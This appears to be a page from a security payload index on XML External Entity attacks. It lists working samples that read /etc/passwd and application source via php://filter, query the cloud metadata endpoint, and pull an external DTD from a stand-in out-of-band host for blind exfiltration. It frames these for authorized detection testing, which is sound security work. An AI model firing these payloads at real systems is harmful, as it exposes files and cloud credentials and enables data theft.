vulns.cofield index
Enter
Contribute
Payload class · xxe

XML External Entity

Classic file read via inline entity; blind exfiltration via an external DTD you host. Also works through SVG and Office (docx/xlsx) uploads. Avoid billion-laughs on prod - it's a DoS.

xxexmlfile-readoobssrf
Stable IDpayload:xxeLast updatedLast verifiedLegacy review pendingProvenanceSource-linked
Context first

Use as a detection primitive

Classic file read via inline entity; blind exfiltration via an external DTD you host. Also works through SVG and Office (docx/xlsx) uploads. Avoid billion-laughs on prod - it's a DoS.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://OOB.example.com/evil.dtd"> %ext;]>
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><r>&x;</r>
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<svg xmlns="http://www.w3.org/2000/svg"><!DOCTYPE ...>  (upload as .svg)
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.